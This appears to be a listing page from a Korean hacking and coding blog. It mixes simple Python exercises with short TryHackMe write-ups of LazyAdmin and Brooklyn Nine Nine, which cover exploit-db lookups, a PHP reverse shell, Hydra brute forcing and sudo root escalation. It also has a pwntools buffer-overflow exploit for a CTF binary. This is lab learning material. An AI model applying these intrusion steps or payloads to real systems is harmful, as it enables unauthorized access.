hacking sorcerer (373) 썸네일형 리스트형 스시는 맛있어요 #사이트를 입력할 때 특정 비밀번호로 전환하는 프로그램을 작성하세요 #프로그램 처리 #1) http://부분은 제외 #2) 처음으로 . 이 등장하는 이후 부분은 제외 #3) 남은 글자 중 처음 세 자리 + 남은 글자 갯수 + 글자 내 'a' 갯수 + * s = input().split('//') s = s[1].split('.') k = list(s[0]) t = len(k) main = str(k[0]) + str(k[1]) + str(k[2]) + str(t) + str(k.count("a")) + '*' print(main) lazy한 주인장 *주인장의 귀차지늠으로 인하여 사진이 상당히 많이 요약되었음을 미리 밝힙니다 오늘은 간단하게 Tryhackme의 Lazyadmin을 정리해보겠습니당 먼저 교양 있게 포트조사와 고버스터를 사용해줍니다. (쉽죠?) /content 디렉토리를 찾았군요 exploit db에서 sweet rice에 관한 취약점을 찾아보니 sql 파일을 얻어낼 수 있는 부분이 있어 간단히 얻어냈습니다. 이 파일을 자세히 보니 비밀번호와 아이디가 보이는군요. php 리버스 쉘을 이용하여 서버 안 쪽으로 파고듭니다. (참 쉽죠?) 마지막으로 귀여운 익스플로잇을 통하여 root 계정을 탈취하고 플래그를 따냅니다 그러면 모두 완료 ! easy 주perl "댁더러 술 달래써 댁더러 밥 달래써" n = int(input()) s1 = 100 s2 = 100 for i in range(0, n): x, y = map(int,input().split()) if x > y: s2 = s2 - x elif y > x: s1 = s1 - y else: pass i = i + 1 print(s1, s2, sep = "\n") 재미로 푸는 Brooklyn 오늘은 재미로 푸는 TryHackme Brooklyn Nine Nine에 관한 얘기를 해볼까 합니당 먼저 교양 있게 포트 조사부터 해줍니다 ftp가 있으니 파고 들어가주는 게 또 예의겠죠? 파고들어가봤더니 놀랍게도 패스워드에 관한 얘기가 써있습니다. 흠 패스워드는 안 나와있네요? jake를 히드라를 이용해서 줘팸 모드에 돌입합니다 가볍게 패스워드를 얻었습니다 ssh를 이용해서 시스템을 파고듭니다 오오 holt도 있군요 sudo 취약점을 이용하여 root 권한을 탈취합니다 그럼 짜잔 플래그를 얻게 됩니다 사피엔스의 이해 n = int(input()) s = [] for i in range(1, n+1): x, y, z = map(int, input().split()) d = [] d.append(x) d.append(y) d.append(z) cnt = d.count(x) if d.count(y) > cnt: cnt = d.count(y) if cnt == 3: s.append(10000+x*1000) if cnt == 2: if x == y: s.append(1000+x*100) elif y == z: s.append(1000+y*100) else: s.append(1000+z*100) if cnt == 1: s.append(max(d)*100) print(max(s)) 랜덤게임 좋아하세요? from random import randint print("It is random game !") pc_choice = randint(1, 30) user_choice = int(input("choose your number : ")) n = 10 while n > 0: if user_choice > pc_choice: print("sorry it is too big") user_choice = int(input("choose your number : ")) elif user_choice 완전 심쿵 ♡ from pwn import * context.binary = binary = "./DearQA.DearQA" static = ELF(binary) vuln_address = static.symbols.vuln vuln_addr = p64(vuln_address) payload = b'a'*32 + b'b'*8 + vuln_addr p = process('./DearQA.DearQA') p.sendline(payload) p.interactive() 논리적으로 답을 도출하기 m = int(input()) n = int(input()) x = 0 def issquare(n): temp = n ** 0.5 if int(temp) == temp: if temp ** 2 == n: return True return False for i in range(m-1, n+1): if issquare(i) == True: x += i if x > 0: print(x) else: print(-1) 이전 1 ··· 28 29 30 31 32 33 34 ··· 47 다음